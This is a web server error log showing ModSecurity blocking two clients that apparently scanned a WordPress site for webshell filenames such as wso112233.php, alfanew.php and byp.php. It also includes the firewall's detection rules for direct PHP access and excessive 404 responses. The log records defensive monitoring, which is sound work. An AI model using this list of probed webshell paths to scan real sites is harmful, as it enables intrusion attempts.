[Sun Dec 14 01:37:03.705521 2025] [:error] [pid 14689:tid 14710] [client 4.193.251.36:6059] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/function.php"] [unique_id "aT2kP0Ecifvaa9I7SnmA5AAAAVE"]
[Sun Dec 14 01:37:03.881853 2025] [:error] [pid 14689:tid 14696] [client 4.193.251.36:5963] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/function.php"] [unique_id "aT2kP0Ecifvaa9I7SnmA5gAAAUM"]
[Sun Dec 14 01:37:04.056492 2025] [:error] [pid 14689:tid 14712] [client 4.193.251.36:6078] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/autoload_classmap.php"] [unique_id "aT2kQEEcifvaa9I7SnmA5wAAAVM"]
[Sun Dec 14 01:37:04.231385 2025] [:error] [pid 14689:tid 14701] [client 4.193.251.36:5955] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/item.php"] [unique_id "aT2kQEEcifvaa9I7SnmA6QAAAUg"]
[Sun Dec 14 01:37:04.406484 2025] [:error] [pid 14689:tid 14716] [client 4.193.251.36:5961] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aT2kQEEcifvaa9I7SnmA6gAAAVc"]
[Sun Dec 14 01:37:04.581110 2025] [:error] [pid 14689:tid 14713] [client 4.193.251.36:6126] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aT2kQEEcifvaa9I7SnmA6wAAAVQ"]
[Sun Dec 14 01:37:04.755598 2025] [:error] [pid 3636:tid 3693] [client 4.193.251.36:5998] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aT2kQN4pNg3LXPqKgeY7FQAAAQE"]
[Sun Dec 14 01:37:04.928780 2025] [:error] [pid 14689:tid 14702] [client 4.193.251.36:24130] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/classic/inc/json.php"] [unique_id "aT2kQEEcifvaa9I7SnmA7QAAAUk"]
[Sun Dec 14 01:37:05.102226 2025] [:error] [pid 14689:tid 14705] [client 4.193.251.36:6041] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/classic/inc/json.php"] [unique_id "aT2kQUEcifvaa9I7SnmA7gAAAUw"]
[Sun Dec 14 01:37:05.276501 2025] [:error] [pid 14689:tid 14709] [client 4.193.251.36:6006] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/classic/inc/json.php"] [unique_id "aT2kQUEcifvaa9I7SnmA7wAAAVA"]
[Sun Dec 14 01:37:05.450651 2025] [:error] [pid 14689:tid 14695] [client 4.193.251.36:6040] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/classic/inc/json.php"] [unique_id "aT2kQUEcifvaa9I7SnmA8AAAAUI"]
[Sun Dec 14 01:37:05.624649 2025] [:error] [pid 14689:tid 14711] [client 4.193.251.36:5984] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/seoplugins/wso112233.php"] [unique_id "aT2kQUEcifvaa9I7SnmA8QAAAVI"]
[Sun Dec 14 01:37:05.798225 2025] [:error] [pid 14689:tid 14694] [client 4.193.251.36:6016] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/seoplugins/wso112233.php"] [unique_id "aT2kQUEcifvaa9I7SnmA8gAAAUE"]
[Sun Dec 14 01:37:05.972315 2025] [:error] [pid 3635:tid 3668] [client 4.193.251.36:5905] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/seoplugins/wso112233.php"] [unique_id "aT2kQTqfhzW7OpfKxKzqkwAAAMM"]
[Sun Dec 14 01:37:06.146768 2025] [:error] [pid 3636:tid 3710] [client 4.193.251.36:5838] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/seoplugins/wso112233.php"] [unique_id "aT2kQt4pNg3LXPqKgeY7FgAAARI"]
[Sun Dec 14 01:37:06.320438 2025] [:error] [pid 14689:tid 14717] [client 4.193.251.36:5960] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/link.php"] [unique_id "aT2kQkEcifvaa9I7SnmA9AAAAVg"]
[Sun Dec 14 01:37:06.495018 2025] [:error] [pid 3636:tid 3714] [client 4.193.251.36:5896] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/wlw/wp-login.php"] [unique_id "aT2kQt4pNg3LXPqKgeY7FwAAARY"]
[Sun Dec 14 01:37:06.669689 2025] [:error] [pid 14654:tid 14678] [client 4.193.251.36:5828] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp.php"] [unique_id "aT2kQjqZP_N7tgSGeZcyFgAAABU"]
[Sun Dec 14 01:37:06.843414 2025] [:error] [pid 14654:tid 14665] [client 4.193.251.36:5927] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp.php"] [unique_id "aT2kQjqZP_N7tgSGeZcyFwAAAAg"]
[Sun Dec 14 01:37:07.017566 2025] [:error] [pid 3636:tid 3705] [client 4.193.251.36:6027] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp.php"] [unique_id "aT2kQ94pNg3LXPqKgeY7GAAAAQ0"]
[Sun Dec 14 04:20:50.144594 2025] [proxy_fcgi:error] [pid 60199:tid 60280] [client 20.89.218.172:24831] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:20:50.334811 2025] [proxy_fcgi:error] [pid 60199:tid 60281] [client 20.89.218.172:24831] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:20:50.463124 2025] [proxy_fcgi:error] [pid 60199:tid 60274] [client 20.89.218.172:24831] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:20:50.598914 2025] [proxy_fcgi:error] [pid 60199:tid 60273] [client 20.89.218.172:24831] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:20:50.766075 2025] [proxy_fcgi:error] [pid 60199:tid 60290] [client 20.89.218.172:24831] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:20:50.890956 2025] [proxy_fcgi:error] [pid 60199:tid 60291] [client 20.89.218.172:24831] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:20:51.015614 2025] [proxy_fcgi:error] [pid 60199:tid 60279] [client 20.89.218.172:24831] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:20:51.157068 2025] [proxy_fcgi:error] [pid 60199:tid 60288] [client 20.89.218.172:24831] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:20:51.293961 2025] [proxy_fcgi:error] [pid 60199:tid 60276] [client 20.89.218.172:24831] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:20:51.416472 2025] [:error] [pid 60199:tid 60278] [client 20.89.218.172:24831] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "aT3Ko-nD9997ZntNVgPjWAAAAIg"]
[Sun Dec 14 04:20:51.930010 2025] [:error] [pid 60199:tid 60271] [client 20.89.218.172:24726] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "aT3Ko-nD9997ZntNVgPjXAAAAIE"]
[Sun Dec 14 04:20:52.321658 2025] [:error] [pid 60197:tid 60215] [client 20.89.218.172:24814] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "aT3KpD8SomGAPKtrxmMJSwAAAAk"]
[Sun Dec 14 04:20:52.775698 2025] [:error] [pid 60199:tid 60279] [client 20.89.218.172:24713] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "aT3KpOnD9997ZntNVgPjYgAAAIk"]
[Sun Dec 14 04:20:53.061371 2025] [:error] [pid 60199:tid 60293] [client 20.89.218.172:24797] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mail.php"] [unique_id "aT3KpenD9997ZntNVgPjagAAAJY"]
[Sun Dec 14 04:20:53.356360 2025] [:error] [pid 60199:tid 60276] [client 20.89.218.172:24827] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mail.php"] [unique_id "aT3KpenD9997ZntNVgPjawAAAIY"]
[Sun Dec 14 04:20:53.682009 2025] [:error] [pid 60199:tid 60272] [client 20.89.218.172:24735] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mail.php"] [unique_id "aT3KpenD9997ZntNVgPjbAAAAII"]
[Sun Dec 14 04:20:54.058352 2025] [:error] [pid 60197:tid 60227] [client 20.89.218.172:24794] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mail.php"] [unique_id "aT3Kpj8SomGAPKtrxmMJVwAAABU"]
[Sun Dec 14 04:20:54.605539 2025] [:error] [pid 60199:tid 60281] [client 20.89.218.172:24810] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/minik.php"] [unique_id "aT3KpunD9997ZntNVgPjcAAAAIs"]
[Sun Dec 14 04:20:54.944954 2025] [:error] [pid 60198:tid 60252] [client 20.89.218.172:24820] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/minik.php"] [unique_id "aT3KpoqU-ldNzmBSp5uStQAAAEk"]
[Sun Dec 14 04:20:55.409416 2025] [:error] [pid 60197:tid 60224] [client 20.89.218.172:24719] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/minik.php"] [unique_id "aT3Kpz8SomGAPKtrxmMJYgAAABI"]
[Sun Dec 14 04:20:55.683517 2025] [:error] [pid 60303:tid 60319] [client 20.89.218.172:24723] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/minik.php"] [unique_id "aT3Kp4mEa7gFJNaM32W2oQAAAM4"]
[Sun Dec 14 04:20:56.093057 2025] [:error] [pid 60197:tid 60213] [client 20.89.218.172:24730] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/OK.php"] [unique_id "aT3KqD8SomGAPKtrxmMJZgAAAAc"]
[Sun Dec 14 04:20:56.373480 2025] [:error] [pid 60198:tid 60265] [client 20.89.218.172:24825] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/OK.php"] [unique_id "aT3KqIqU-ldNzmBSp5uSwQAAAFY"]
[Sun Dec 14 04:20:56.615249 2025] [:error] [pid 60303:tid 60324] [client 20.89.218.172:24763] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/OK.php"] [unique_id "aT3KqImEa7gFJNaM32W2rAAAANM"]
[Sun Dec 14 04:20:57.010644 2025] [:error] [pid 60198:tid 60247] [client 20.89.218.172:24813] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/OK.php"] [unique_id "aT3KqYqU-ldNzmBSp5uSywAAAEQ"]
[Sun Dec 14 04:20:57.307762 2025] [:error] [pid 60198:tid 60246] [client 20.89.218.172:13268] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfanew.php"] [unique_id "aT3KqYqU-ldNzmBSp5uSzwAAAEM"]
[Sun Dec 14 04:20:57.753920 2025] [:error] [pid 60303:tid 60315] [client 20.89.218.172:24729] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfanew.php"] [unique_id "aT3KqYmEa7gFJNaM32W2uAAAAMo"]
[Sun Dec 14 04:20:58.095798 2025] [:error] [pid 60303:tid 60309] [client 20.89.218.172:24799] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfanew.php"] [unique_id "aT3KqomEa7gFJNaM32W2vAAAAMQ"]
[Sun Dec 14 04:20:58.378772 2025] [:error] [pid 60303:tid 60318] [client 20.89.218.172:24826] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfanew.php"] [unique_id "aT3KqomEa7gFJNaM32W2vwAAAM0"]
[Sun Dec 14 04:20:58.662837 2025] [:error] [pid 60303:tid 60305] [client 20.89.218.172:24791] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zsec.php"] [unique_id "aT3KqomEa7gFJNaM32W2wwAAAMA"]
[Sun Dec 14 04:20:58.953475 2025] [:error] [pid 60198:tid 60251] [client 20.89.218.172:24807] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zsec.php"] [unique_id "aT3KqoqU-ldNzmBSp5uS5gAAAEg"]
[Sun Dec 14 04:20:59.255780 2025] [:error] [pid 60199:tid 60294] [client 20.89.218.172:24716] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zsec.php"] [unique_id "aT3Kq-nD9997ZntNVgPjjgAAAJc"]
[Sun Dec 14 04:20:59.589417 2025] [:error] [pid 60199:tid 60288] [client 20.89.218.172:24757] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zsec.php"] [unique_id "aT3Kq-nD9997ZntNVgPjkQAAAJI"]
[Sun Dec 14 04:21:00.060067 2025] [:error] [pid 60198:tid 60261] [client 20.89.218.172:24776] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/arig.php"] [unique_id "aT3KrIqU-ldNzmBSp5uS8wAAAFI"]
[Sun Dec 14 04:21:00.394505 2025] [:error] [pid 60303:tid 60306] [client 20.89.218.172:24732] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/arig.php"] [unique_id "aT3KrImEa7gFJNaM32W22gAAAME"]
[Sun Dec 14 04:21:00.658567 2025] [:error] [pid 60199:tid 60283] [client 20.89.218.172:24710] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/arig.php"] [unique_id "aT3KrOnD9997ZntNVgPjlAAAAI0"]
[Sun Dec 14 04:21:01.134833 2025] [:error] [pid 60303:tid 60315] [client 20.89.218.172:24792] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/arig.php"] [unique_id "aT3KrYmEa7gFJNaM32W24QAAAMo"]
[Sun Dec 14 04:21:01.632431 2025] [:error] [pid 60197:tid 60208] [client 20.89.218.172:24745] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin1.php"] [unique_id "aT3KrT8SomGAPKtrxmMJiQAAAAI"]
[Sun Dec 14 04:21:02.041210 2025] [:error] [pid 60197:tid 60218] [client 20.89.218.172:24790] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin1.php"] [unique_id "aT3Krj8SomGAPKtrxmMJkAAAAAw"]
[Sun Dec 14 04:21:02.599826 2025] [:error] [pid 60303:tid 60326] [client 20.89.218.172:24828] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin1.php"] [unique_id "aT3KromEa7gFJNaM32W29QAAANU"]
[Sun Dec 14 04:21:03.088165 2025] [:error] [pid 60303:tid 60308] [client 20.89.218.172:24809] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin1.php"] [unique_id "aT3Kr4mEa7gFJNaM32W2_QAAAMM"]
[Sun Dec 14 04:21:03.419511 2025] [:error] [pid 60303:tid 60309] [client 20.89.218.172:24801] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we2.php"] [unique_id "aT3Kr4mEa7gFJNaM32W2_gAAAMQ"]
